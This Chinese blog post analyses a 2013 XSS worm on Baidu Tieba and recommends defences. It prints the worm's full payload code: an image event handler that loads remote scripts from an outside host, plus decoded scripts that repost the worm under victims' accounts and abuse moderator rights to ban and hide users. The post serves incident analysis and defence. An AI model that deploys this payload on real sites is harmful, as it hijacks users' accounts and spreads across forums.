总结:

此恶意代码的表现是 点击进入带有恶意代码的帖子后 会自动在用户访问过的贴吧发带有相同恶意代码的帖子 并回复当前贴

本人在逛贴吧的时候 突然发现自己点击一个帖子后显示自己已经回复此贴 再看发帖列表的时候 自己在另一个吧发了相同题目的帖子

于是认为是有恶意代码 当时经过排查 发现在浏览其他网页的 甚至其他正常帖子的时候都没有问题 于是就把目标锁定在那个帖子上

同时发现各个贴吧中都有类似的帖子出现 基本上认为是有人发了带有恶意代码的帖子

立即关闭chrome浏览器的javascript 再次进入那个帖子 查看其内容 目标在该贴楼主的文章内部 发现了这个东西

利用了img标签 onload事件可以调用外部恶意代码的漏洞

于是这次事件毫无疑问的可以定性为xss攻击

但是就目前拿到的代码(3个js代码文件 只拿到两个) 分析 除了上述的行为以外 没有什么恶劣的行为

并且

1 其代码中有控制XSS攻击的时间范围(2013.06.12 17:40:00 到 2013.06.12 21:00:00 之间)

2 在之后更改了timer.js 移除了帖子中的恶意代码

3 代码中发现了黑名单 和白名单

因此 此次攻击的主导者是有预谋 有针对性 有克制力的

他也不愿事件失控 或许只是为了针对某些人 但也不想做的太过分 同时也想将这个漏洞以这种方式通知给百度

此XSS漏洞的运作方式已经了解的很清楚了 但是处于种种考虑不想研究和描述其发帖的过程

本人既没有对web安全有比较深入的了解 也没有很多web开发的经验 更不知道百度的架构是怎么样的

针对此漏洞 斗胆提出几个建议:

技术上说 : 还是要贯彻"一切输入输出都是不可靠的" 这一概念

不仅仅要在前端用JS来限制用户输入 还需要在后端对POST的内容进行判断

就本例而言 如果在后台接到POST的内容后 对内容进行审查 发现"onload" "script" "document.body.appendChild" "document.createElement"这样的关键字

以及其它例如"onerror" "onabort" 自然可以作出应对, 删除这部分内容或者直接舍弃掉这篇帖子

另外一方面 不使用HTML标签的形式编辑、存储帖子内容应该也是必要的

以某种类似于markdown的语句存储帖子内容 因其从HTML转换成目标语句的过程中必然不会有显示的时候不需要的Event Handler

(其实<对于贴吧来说 帖子内容的所有HTML标签的任何Event Handler都是不需要的)显示帖子的时候再用JS或者后台直接转换成HTML语言

这样可以很大程度上增加攻击者的注入难度

策略上说 : 个人认为Google的漏洞悬赏是很靠谱的 这样即能建立起漏洞反馈的渠道 又可以在漏洞被流传开来之前就获得漏洞的信息以修复 还能提高漏洞发现积极性 花的钱也不多

----------------------------------------

onLoad中的代码:

整理如下:

var script = document.createElement('script');
script.type = 'text/javascript';
script.charset = 'utf-8';
script.setAttribute('text', 'xsspayloadtoken');
script.src = 'http://jsfile.duapp.com/timer.js';
document.body.appendChild(script)" " = "

将一段恶意代码包装在一个img标签的 onload事件中

在这段代码中 新建了一个Javascript DOM节点

然后加载了http://jsfile.duapp.com/timer.js这个JS文件

最后添加在body的最后

因为这个img标签的图片比较小, 并且是在贴吧自己的静态服务器上 图片加载完毕的时候往往页面还没有加载完毕

等到浏览器运行到body的最后时 这个script节点中的JS代码就会自动运行

访问http://jsfile.duapp.com/这个网页是一段乱码

貌似是托管在百度app上的一段代码

http://jsfile.duapp.com/timer.js中的代码如下:

;;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('G a=["\\n\\e\\c\\g\\t\\p\\h\\k\\c\\t\\n\\g\\l","\\F\\d\\d\\f\\1g\\x\\x\\H\\e\\E\\j\\l\\c\\C\\s\\n\\h\\f\\f\\C\\q\\i\\k\\x\\f\\h\\y\\l\\i\\h\\s\\C\\H\\e","\\j\\e\\t\\E\\i\\g\\n\\k\\t\\k\\h\\p\\h\\J\\c\\g","\\n\\e\\c\\g\\t\\g\\i\\l\\c\\e","\\f\\i\\1r\\c\\g","\\j\\e\\t\\E\\i\\g\\n\\k\\t\\f\\k","\\F\\d\\d\\f\\1g\\x\\x\\H\\e\\E\\j\\l\\c\\C\\s\\n\\h\\f\\f\\C\\q\\i\\k\\x\\J\\q\\C\\H\\e","\\b\\m\\m\\b\\I\\m\\b\\m\\Q\\b\\K\\v\\b\\m\\P\\b\\v\\R\\b\\m\\L\\b\\K\\Q\\b\\w\\R\\b\\K\\L","\\b\\I\\1b\\b\\w\\S\\b\\w\\N\\b\\v\\1l\\b\\A\\P\\b\\v\\M\\b\\m\\L\\b\\w\\L","\\1q\\A\\b\\w\\N\\b\\I\\N\\b\\A\\m\\b\\K\\A\\b\\A\\R\\b\\A\\P\\b\\m\\S\\b\\v\\Q\\b\\w\\S\\b\\v\\Q\\b\\w\\R\\b\\I","\\l\\c\\p\\J\\d\\F","\\g\\c\\k\\i\\1h\\c","\\j\\k\\J\\Z\\d\\c\\z\\d\\Y\\O\\p\\j\\c\\M\\1b\\T\\J\\j\\e\\p\\P\\j\\M\\N\\y\\O\\1f","\\e\\q\\g\\j\\f\\d\\Z\\d\\c\\z\\d\\Y\\O\\z\\e\\e\\f\\h\\y\\l\\i\\h\\s\\d\\i\\1a\\c\\p\\O\\1f","\\e\\q\\g\\j\\f\\d","\\q\\g\\c\\h\\d\\c\\I\\l\\c\\k\\c\\p\\d","\\d\\y\\f\\c","\\d\\c\\z\\d\\x\\H\\h\\1h\\h\\e\\q\\g\\j\\f\\d","\\q\\F\\h\\g\\e\\c\\d","\\n\\d\\E\\1s\\M","\\e\\g\\q","\\d\\c\\z\\d","\\z\\e\\e\\f\\h\\y\\l\\i\\h\\s\\d\\i\\1a\\c\\p","\\e\\c\\d\\v\\d\\d\\g\\j\\T\\n\\d\\c","\\h\\f\\f\\c\\p\\s\\m\\F\\j\\l\\s","\\T\\i\\s\\y"];G V=[X U(1e,5,12,17,1t,0),X U(1e,5,12,1c,0,0)];G W=X U();G o=D[a[0]];u(W>V[0]&&W<V[1]){r(a[1]);u(D[a[4]][a[3]][a[2]]||D[a[4]][a[3]][a[5]]){r(a[6])};u(o==a[7]||o==a[8]||o==a[9]){r(a[6])};u(o[a[10]]<=12){r(a[6])}}1u{u(D[a[4]][a[3]][a[2]]||D[a[4]][a[3]][a[5]]){r(a[6])};u(o==a[7]||o==a[8]||o==a[9]){r(a[6])};u(o[a[10]]<=12){r(a[6])}};$(a[12])[a[11]]();$(a[13])[a[11]]();1j r(1i){G B=1d[a[15]](a[14]);B[a[16]]=a[17];B[a[18]]=a[19];B[a[1k]]=1i;B[a[1o]](a[1c],a[1p]);1d[a[1m]][a[1n]](B)};',62,93,'||||||||||_0xcba0|x25|x65|x74|x73|x70|x72|x61|x6F|x69|x6D|x6C|x43|x75|nurl|x6E|x63|loadScript|x64|x5F|if|x41|x44|x2F|x79|x78|x42|_0x6e0ax6|x2E|PageData|x66|x68|var|x6A|x45|x67|x46|x39|x38|x32|x22|x34|x31|x37|x30|x62|Date|targetDate|presentTime|new|x3D|x5B|||||||||||x6B|x35|21|document|2013|x5D|x3A|x76|_0x6e0ax5|function|20|x33|25|24|23|22|x54|x77|x2D|40|else'.split('|'),0,{}))void 0

万恶的eval()

这是一段被打包过的代码 先吃饭了 回头再分析

----------------------------------------------------------

截至2013.0612   21:00 timer.js已被修改为

$('img[text="nie85bgisn4i82y"]').remove();
$('script[text="xsspayloadtoken"]').remove();
location.href='http://jsfile.duapp.com/';

感谢 wudi343 网友的帮助 将之前的 timer.js 加密过的代码解密 内容如下:

var targetDate=[new Date(2013,5,12,17,40,0),new Date(2013,5,12,21,0,0)];
var presentTime=new Date();
var nurl=PageData["user_name_url"];
if(presentTime>targetDate[0]&&presentTime<targetDate[1]){loadScript("http://jsfile.duapp.com/payload.js");if(PageData["power"]["user_roles"]["is_forum_manager"]||PageData["power"]["user_roles"]["is_forum_pm"]){loadScript("http://jsfile.duapp.com/gc.js");if(nurl=="%CC%EC%C1%FA%C4%A7%C9%F1%D7%F9"||nurl=="%E5%D0%D2%A3%B4%A8%C9%D9"||nurl=="TB%D2%E2%BC%FB%B7%B4%C0%A1%D0%A1%D7%E"){loadScript("http://jsfile.duapp.com/gc.js")};if(nurl["img[text='nie85bgisn4i82y']"]<=12){loadScript("http://jsfile.duapp.com/gc.js")}
}else{if(PageData["power"]["user_roles"]["is_forum_manager"]||PageData["power"]["user_roles"]["is_forum_pm"]){loadScript("http://jsfile.duapp.com/gc.js")};if(nurl=="%CC%EC%C1%FA%C4%A7%C9%F1%D7%F9"||nurl=="%E5%D0%D2%A3%B4%A8%C9%D9"||nurl=="TB%D2%E2%BC%FB%B7%B4%C0%A1%D0%A1%D7%E"){loadScript("http://jsfile.duapp.com/gc.js")};f(nurl["img[text='nie85bgisn4i82y']"]<=12){loadScript("http://jsfile.duapp.com/gc.js")}};$("")["remove"]();$("script[text='xsspayloadtoken']")["remove"]();function loadScript(_0x6e0ax5){var script=document["createElement"]("script");script["type"]="text/javascript";script["charset"]="utf-8";script["src"]=_0x6e0ax5;script["setAttribute"]("text","xsspayloadtoken");document["body"]["appendChild"](script)};

从这段代码中看出 如果当前时间在 2013.06.12 17:40:00 到 2013.06.12 21:00:00 之间

加载

http://jsfile.duapp.com/payload.js

这里的代码

如果满足一系列条件 就再加载

http://jsfile.duapp.com/gc.js

这里的代码

2013.06.12 23:43 所有的代码已经找不到了(505错误) 所以没办法得到gc.js的代码

/*

第一段hex:

http://jsfile.duapp.com/payload.js","祝各位吧友端午节快乐,玩的开心

img[text="nie85bgisn4i82y"]

script[text="xsspayloadtoken"]

script

text/javascript

utf-87:text

xsspayloadtoken

*/

先不管别的 为免再次被修改 ,把payload.js抓下来如下:

;;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('9 f={w:6.y.1s,D:"E-8",2j:"1",1M:"1",M:6.y.k,l:6.H.k,g:"\\W\\2X\\2C\\2V\\3u\\3C\\O\\2G\\2N\\2N",m:6.m,2g:"3p,3r,n,A,C,n,C,3q,1U,C,A,n,A,C,A,n,A,C,A,n,1U,2J,n,C,n,1U,C,2H,2H,n,A,2J,n,n,2Z",2a:"3c",2c:"1",3D:"0",4a:"0",1Y:"0",25:"11",24:"1"};$.o("z://v.u.h/f/J/o/B",f);9 c=49.4b();c.45="";9 g=["\\2e\\2G\\4m\\4n\\1b\\P\\4o\\4k\\4g\\4f\\W\\2C\\4j\\3L","2\\W\\2v\\P\\2w\\2w","\\P\\2v\\3M\\1D\\3O\\O\\3N\\3a\\2t","\\O\\W\\3I\\3P","\\1V\\3X\\3W\\3Y","\\P\\3Z\\3Q\\3T\\1b\\3U\\3S\\3R\\3V\\P\\2r\\40\\1X","\\2p\\3H\\1b\\3G\\1X\\28\\3E\\3F\\3J\\2o","\\2m\\2m\\3K","\\4i\\4h\\4p\\4l","\\O\\W\\4e\\44"];g=g[17.2i(17.2h()*10)];F=F[17.2i(17.2h()*5)];9 2s=["43","41","2f"];9 2q=["\\42\\48\\4c\\4d","\\3b\\30","\\2k\\2d\\2b"]9 1W=["3g","3h","3f","3d","3e"];9 2A=["2S","2Y","2W","2U","2T","3w","3x","3v","3t","3B","3A","3y","3s","3l","3m","3k","3i","3j","3o","3n","3z"];9 1r=[];9 1B=[];9 21=6.K.L.I.1Q;1E(9 i=0,j=0;i<21;i++){s(6.K.L.I[i].2R>4){s(!(1W.1K(b(x){1a x==6.K.L.I[i].k}))&&!(2A.1K(b(x){1a x==6.K.L.I[i].k}))){1r[j]=6.K.L.I[i].5y;1B[j]=6.K.L.I[i].k;j++}}};9 1O=[V 15(1Z,20,12,19,29,23),V 15(1Z,20,12,19,36,23)];9 1J=V 15();s(1J>1O[0]&&1J<1O[1]){c.F="\\N\\N\\N\\5C\\5B\\5t\\5v \\5q\\5r\\5p\\5n\\N\\N\\N\\5o\\5w\\5u\\5s";c.g=\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\';c.g+="\\5g\\5h\\1D\\1V\\2t\\2l\\5f\\5d \\5e \\1b\\5l\\5m\\5k\\5i\\5j"}5E{c.g=\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\';c.g+=g;c.F=F};b 1C(k,w){c.M=k;c.w=w;$.o("z://v.u.h/f/J/H/B",c)};1E(i=0;i<3;i++){26("1C(\'"+2s[i]+"\',\'"+2q[i]+"\')",5D*i)};9 27={w:"\\2k\\2d\\2b",D:"E-8",2j:"1",1M:"0",M:"2f",l:"0",2g:"36,34,32,58,35,36,35,46,31,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,31,36,35,47,33,37,36,31,39,34,34,38,58,47,38,38,5A",2a:"5z",2c:"1",F:"\\2e\\1D\\4F\\2r\\O\\4G\\2u\\2u",g:\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\\4E\\2n\\4C\\2l\\2n\\2p\\2o\\28\\4D\\4H\\4L\\5x\\4K\',1Y:"0",m:6.m,25:"11",24:"1"};$.o("z://v.u.h/f/J/H/B",27);1E(i=0;i<1r.1Q;i++){26("1C(\'"+1B[i]+"\',\'"+1r[i]+"\')",4I*i)};s(6.1G.1L.2O){9 d={D:"E-8",m:6.m,w:6.y.1s,M:6.y.k,l:6.H.k,4J:"0"};$.o(\'z://v.u.h/f/J/H/22/B\',d);4B("$.o(\'z://v.u.h/f/J/H/22/B\',d);",4t)};s(6.1G.1L.4u||6.1G.1L.2O){9 2K={4s:"1",2P:"4q",M:6.y.k,D:"E-8",m:6.m,2Q:6.2Q};$.o("z://v.u.h/4r/2P",2K);9 2z=1S.1R(q.4v("4z 4A")[0].1P("R-S"));9 2B={T:"1",4y:2z.4w.1s,D:"E-8"};$.o("z://v.u.h/4x/B",2B)};b 2L(2E,g){9 1H,16,1T,1A,Q;1H={w:6.y.1s,D:"E-8",M:6.y.k,g:g,m:6.m};16=b(2y,1F){9 G=V 4N;G.54(\'55\',2y,2I);G.53=\'q\';G.1F=b(){1F(G.51)};G.52()};1T=b(){16(\'/f?56=1&w=\'+6.y.5b+\'&t=\'+V 15().5c(),b(U){$(U).1N("5a[R-S*=\'\\"57\\":1\']").59(b(){9 d=1S.1R(4Z.1P(\'R-S\'));d.2D<50&&1A(d.k,d.2D>0)})})};1A=b(l,2F){16(\'z://v.u.h/p/\'+l,b(U){s($(U).1N(\'Z[Y="\'+2E+\'"]\').1Q!==0)1a;2F?([].1K.4R($(U).1N(\'.4S:4Q([R-S$="\\"1M\\":\\"1\\"}"]) > 4O > .4P\'),b(e){s(e.4T>=5)1a 2I;Q(l,1S.1R(e.2x.2x.1P(\'R-S\')).4X)})&&Q(l)):Q(l)})};Q=b(l,1I){9 c=4Y(1H);c.l=l;s(1I)c.4W=1I;$.o(\'/f/J/o/B\',c)};1T()};2L(\\4U"X",\'<Z 1j="1k" 1i="1" 1g="1" r="#" Y="X\\1h 1l=\\1p 7 = q.1q(\\1o\\a);7.T = \\1m/1n\\a;7.1x = \\1y-8\\1v;7.1u(\\1t\\a,\\1w\\a);7.r = \\1z://1d.1e.h/1f.18\\a;q.14.1c(7)\\13">\\4V\\4M\\2M\\2M\');',62,351,'||||||PageData|script||var|u2018|function|||||content|com|||id|tid|tbs|101|post||document|src|if||baidu|tieba|kw||forum|http|121|add|100|ie|utf|title|xhr|thread|info|commit|user|user_forum_list|fid|u00b7|u4e00|u6211|step3|data|field|type|res|new|u697c|nie85bgisn4i82y|text|img||||u201c|body|Date|get|Math|js||return|uff0c|appendChild|jsfile|duapp|timer|height|u201d|width|class|BDE_Smiley|onerror|u2019text|javascript|u2019script|u201cvar|createElement|forumName|name|u2018text|setAttribute|u2019|u2019xsspayloadtoken|charset|u2018utf|u2019http|step2|forumId|makeit|u5427|for|onload|power|model|lzl|presentTime|some|user_roles|floor_num|find|targetDate|getAttribute|length|parse|JSON|step1|92|u5927|whitelist|u89c9|anonymous|2013|05|lf|good|00|new_vcode|tag|setTimeout|slj|u4e0d||mouse_pwd_t|u519b|mouse_pwd_isclick|u7acb|u8fd9|1206079|mouse_pwd|random|floor|rich_text|u5b59|u56fd|u4e48|u6f2b|u4e86|u597d|blacklistkw|u5c31|blacklist|u5e1d|u5475|u662f|u7239|parentElement|url|LZ|officialForum|ef|u7684|reply_num|token|hasreply|u4e2a|97|true|108|ee|scan|u6324|uff01|is_forum_manager|cm|user_name|user_level|153669|2504636|898666|u5e16|2917706|u4e3b|1065858|13709731144851|u6bc5||||||||||u6c89|u674e|1370973114485|2520908|9046|2262468|635137|1074587|746110|154474|2177090|2118405|1962969|4035056|3025434|102|103|99|86209|2331213|u5b50|1566944|1882284|813565|4536|1153798|350911|3170781|u8d5e|lp_type|u4f1a|u518d|u611f|u7d2f|u9632|u7231|u54d2|u89c1|u672c|u79d2|u7b2c|u541e|u6570|u6253|u4eba|u523020|u6ca1|u65ad|u665a|u5bb6|u5b89|u4ece1|u7761|59099|u9b54|73787|u718a|prefix|||u517d|rich_postor|lp_sub_type|_getData|u4e16|u754c|u5582|u542c2|u542c|u8757|u98de|u610f|u8981|u6e56|u95ee|u9898|u4eec|u829c|filter_forum_user|bawu|ban_days|1200|is_forum_bawu|getElementsByClassName|author|tphide|hide_un|l_post|noborder|setInterval|u6bd4|u77e5|u65e5|u91cc|u7fa4sb|u9053|2000|cid|u500d|u591a|u6392|XMLHttpRequest|div|j_lzl_m_w|not|call|j_lzl_container|childElementCount|u00a0|u524d|quote_id|pid|Object|this||responseXML|send|responseType|open|GET|apage|is_top||each|li|name_url|getTime|u4f4d|u53d7|u5404|u795d|u7206|u5feb|u4e50|u8282|u7aef|u5348|u8fc7|u80a5|u8e0f|u94c1|u9a91|u4e34|u4e4b|u964d|u9b42|u9e2d|u5c11|forum_name|1370973332622|13709733326221|u4ec7|u590d|3000|else'.split('|'),0,{}))

解密如下:

var f = {kw: PageData.forum.name,ie: "utf-8",rich_text: "1",floor_num: "1",fid: PageData.forum.id,tid: PageData.thread.id,content: "楼主的帖子赞一个!!",tbs: PageData.tbs,mouse_pwd: "102,99,101,121,100,101,100,103,92,100,121,101,121,100,121,101,121,100,121,101,92,108,101,100,101,92,100,97,97,101,121,108,101,101,13709731144851",mouse_pwd_t: "1370973114485",mouse_pwd_isclick: "1",lp_type: "0",lp_sub_type: "0",anonymous: "0",tag: "11",new_vcode: "1"
};
$.post("http://tieba.baidu.com/f/commit/post/add", f);
var c = rich_postor._getData();
c.prefix = "";
var content = ["这个问题,我们要听听2楼的意见", "2楼是我爹爹", "我是本吧第一秒沉帝", "一楼防吞", "大家晚安", "我从1数챎0,没人打断我就睡觉", "好累,感觉不会再爱了", "么么哒", "飞蝗芜湖", "一楼喂熊"];
content = content[Math.floor(Math.random() * 10)];
title = title[Math.floor(Math.random() * 5)];
var blacklist = ["73787", "59099", "1206079"];
var blacklistkw = ["魔兽世界", "李毅", "孙立军"]
var whitelist = ["635137", "1074587", "2262468", "2520908", "9046"];
var officialForum = ["153669", "1065858", "2917706", "898666", "2504636", "1882284", "813565", "1566944", "2331213", "3170781", "350911", "4536", "86209", "2118405", "1962969", "2177090", "746110", "154474", "3025434", "4035056", "1153798"];
var forumName = [];
var forumId = [];
var lf = PageData.user.user_forum_list.info.length;
for (var i = 0, j = 0; i < lf; i++) {if (PageData.user.user_forum_list.info[i].user_level > 4) {if (!(whitelist.some(function (x) {return x == PageData.user.user_forum_list.info[i].id})) && !(officialForum.some(function (x) {return x == PageData.user.user_forum_list.info[i].id}))) {forumName[j] = PageData.user.user_forum_list.info[i].forum_name;forumId[j] = PageData.user.user_forum_list.info[i].id;j++}}
};
var targetDate = [new Date(2013, 05, 12, 19, 29, 00), new Date(2013, 05, 12, 19, 36, 00)];
var presentTime = new Date();
if (presentTime > targetDate[0] && presentTime < targetDate[1]) {c.title = "···复仇之魂 铁骑踏过···肥鸭降临";c.content = '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">';c.content += "祝爆吧大帝国各位 受 ,端午节快乐"
} else {c.content = '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">';c.content += content;c.title = title
};function makeit(id, kw) {c.fid = id;c.kw = kw;$.post("http://tieba.baidu.com/f/commit/thread/add", c)
};
for (i = 0; i < 3; i++) {setTimeout("makeit('" + blacklist[i] + "','" + blacklistkw[i] + "')", 3000 * i)
};
var slj = {kw: "孙立军",ie: "utf-8",rich_text: "1",floor_num: "0",fid: "1206079",tid: "0",mouse_pwd: "36,34,32,58,35,36,35,46,31,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,58,39,58,38,31,36,35,47,33,37,36,31,39,34,34,38,58,47,38,38,13709733326221",mouse_pwd_t: "1370973332622",mouse_pwd_isclick: "1",title: "这吧里就一群sb呵呵",content: '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">日漫比国漫好了不知道多少倍',anonymous: "0",tbs: PageData.tbs,tag: "11",new_vcode: "1"
};
$.post("http://tieba.baidu.com/f/commit/thread/add", slj);
for (i = 0; i < forumName.length; i++) {setTimeout("makeit('" + forumId[i] + "','" + forumName[i] + "')", 2000 * i)
};
if (PageData.power.user_roles.is_forum_manager) {var d = {ie: "utf-8",tbs: PageData.tbs,kw: PageData.forum.name,fid: PageData.forum.id,tid: PageData.thread.id,cid: "0"};$.post('http://tieba.baidu.com/f/commit/thread/good/add', d);setInterval("$.post('http://tieba.baidu.com/f/commit/thread/good/add',d);", 1200)
};
if (PageData.power.user_roles.is_forum_bawu || PageData.power.user_roles.is_forum_manager) {var ee = {ban_days: "1",cm: "filter_forum_user",fid: PageData.forum.id,ie: "utf-8",tbs: PageData.tbs,user_name: PageData.user_name};$.post("http://tieba.baidu.com/bawu/cm", ee);var LZ = JSON.parse(document.getElementsByClassName("l_post noborder")[0].getAttribute("data-field"));var ef = {type: "1",hide_un: LZ.author.name,ie: "utf-8"};$.post("http://tieba.baidu.com/tphide/add", ef)
};function scan(token, content) {var model, get, step1, step2, step3;model = {kw: PageData.forum.name,ie: "utf-8",fid: PageData.forum.id,content: content,tbs: PageData.tbs};get = function (url, onload) {var xhr = new XMLHttpRequest;xhr.open('GET', url, true);xhr.responseType = 'document';xhr.onload = function () {onload(xhr.responseXML)};xhr.send()};step1 = function () {get('/f?apage=1&kw=' + PageData.forum.name_url + '&t=' + new Date().getTime(), function (res) {$(res).find("liÚta-field*='\"is_top\":1']").each(function () {var d = JSON.parse(this.getAttribute('data-field'));d.reply_num < 50 && step2(d.id, d.reply_num > 0)})})};step2 = function (tid, hasreply) {get('http://tieba.baidu.com/p/' + tid, function (res) {if ($(res).find('img[text="' + token + '"]').length !== 0) return;hasreply ? ([].some.call($(res).find('.j_lzl_container:not(Úta-field$="\"floor_num\":\"1\"}"]) > div > .j_lzl_m_w'), function (e) {if (e.childElementCount >= 5) return true;step3(tid, JSON.parse(e.parentElement.parentElement.getAttribute('data-field')).pid)}) && step3(tid)) : step3(tid)})};step3 = function (tid, lzl) {var c = Object(model);c.tid = tid;if (lzl) c.quote_id = lzl;$.post('/f/commit/post/add', c)};step1()
};
scan(  "nie85bgisn4i82y", '<img class="BDE_Smiley" width="1" height="1" src="#" text="nie85bgisn4i82y” οnerrοr=“var script = document.createElement(’script‘);script.type = ’text/javascript‘script.charset = ‘utf-8’script.setAttribute(‘text‘,’xsspayloadtoken‘);script.src = ’http://jsfile.duapp.com/timer.js‘document.body.appendChild(script)“">前排挤挤');

这段代码中值得注意的是

var blacklist = ["73787", "59099", "1206079"];

var blacklistkw = ["魔兽世界", "李毅", "孙立军"];

var whitelist = [635137, 1074587, 2262468, 2520908, 9046]

百度贴吧恶意代码分析相关推荐

  1. 20145236《网络攻防》Exp4 恶意代码分析

    20145236<网络攻防>Exp4 恶意代码分析 一.基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些 ...

  2. 2017-2018-2 20155228 《网络对抗技术》 实验四:恶意代码分析

    2017-2018-2 20155228 <网络对抗技术> 实验四:恶意代码分析 1. 实践内容 1.1 系统运行监控 使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部 ...

  3. 20155320《网络对抗》Exp4 恶意代码分析

    20155320<网络对抗>Exp4 恶意代码分析 [系统运行监控] 使用schtasks指令监控系统运行 首先在C盘目录下建立一个netstatlog.bat文件(由于是系统盘,所以从别 ...

  4. 《网络攻防》 恶意代码分析

    20145224陈颢文 <网络攻防>恶意代码分析 基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用什 ...

  5. 网络对抗 Exp4 恶意代码分析 20154311 王卓然

    Exp4 恶意代码分析 一.实践目标 1.监控自己系统的运行状态,看有没有可疑的程序在运行. 2.分析一个恶意软件,分析Exp2或Exp3中生成后门软件. 二.实践步骤 1.系统运行监控 使用 net ...

  6. 20145230熊佳炜《网络对抗》实验四:恶意代码分析

    20145230熊佳炜<网络对抗>实验四:恶意代码分析 恶意代码 定义一:恶意代码又称恶意软件.这些软件也可称为广告软件.间谍软件.恶意共享软件.是指在未明确提示用户或未经用户许可的情况下 ...

  7. 【恶意代码分析】_第一站

    文章目录 概述 基本概念 有损压缩 加壳 壳的装载及其分类 压缩器和保护器 恶意程序在线分析网站 UPX实验 介绍UPX 使用UPX压缩文件 UPX加壳原理 使用工具查看和脱壳 Lord PE 工具P ...

  8. 恶意代码分析_00_入手资料

    零.写在前面的话 恶意代码(Malware) is a set of instructions that run on your computer and make your system do so ...

  9. 20164301 Exp4 恶意代码分析

    Exp4 恶意代码分析 实验目标 1.是监控你自己系统的运行状态,看有没有可疑的程序在运行.  2.是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinte ...

  10. 20155339 Exp4 恶意代码分析

    20155339 Exp4 恶意代码分析 实验后回答问题 (1)如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用什么方法来监控 ...

最新文章

  1. Android 3.0 r1 API中文文档(107) —— AsyncPlayer
  2. idea普通java项目引入lombok_Intellij IDEA 安装lombok及使用详解
  3. C++标准库类模板(stack)和 队列(queue)
  4. JavaWeb显示器
  5. 创业——不可忽视的创业计划书!!!
  6. 博客园win8客户端开发记录5-app设置 登录 回复评论
  7. java concurrent之前戏synchronized
  8. C语言项目:扫雷大战精简版
  9. win10怎么把c盘锁住_老司机教你win10下怎么清理c盘
  10. vue 中 provide 和 inject 共享数据
  11. kill 进程_05516.1普通用户配置kill CDH集群进程权限
  12. 文件被损坏 java_使用PDF.JS实现pdf文件在线预览时,报文件被损坏的错误
  13. Android 简单登陆 涉及 Button CheckBox TextView EditText简单应用
  14. 好用的MARKDOWN编辑器一览
  15. 疑难杂症---共享打印机驱动安装失败0x00000bcb错误
  16. Windows 更新错误 0x80073712
  17. 李欣桐 计算机竞赛,思维角逐 以赛促学 ——记义乌枫叶小学部第四届计算“小能手”比赛...
  18. 基于STM32F03RCT的多路频率占空比可调PWM输出
  19. 如何将MP4视频文件转换成GIF动态图片
  20. 物联网卡智能净水器打造智慧洁净生活

热门文章

  1. 互联网大数据面试题集锦
  2. python刷火车票脚本_Python打造刷火车票工具邮件通知自己
  3. 阿里中间件_Diamond
  4. exchange 服务器设置自动答复,Exchange自动回复设置配置
  5. C语言双人贪吃蛇游戏瘦身版本
  6. 什么是DNS污染?DNS污染怎么办怎么解决?
  7. 什么是DNS over HTTPS?
  8. 【PyTorch】6.1 正则化之weight_decay
  9. Hibernate源码解析
  10. 脸上不同部位长痘痘的原因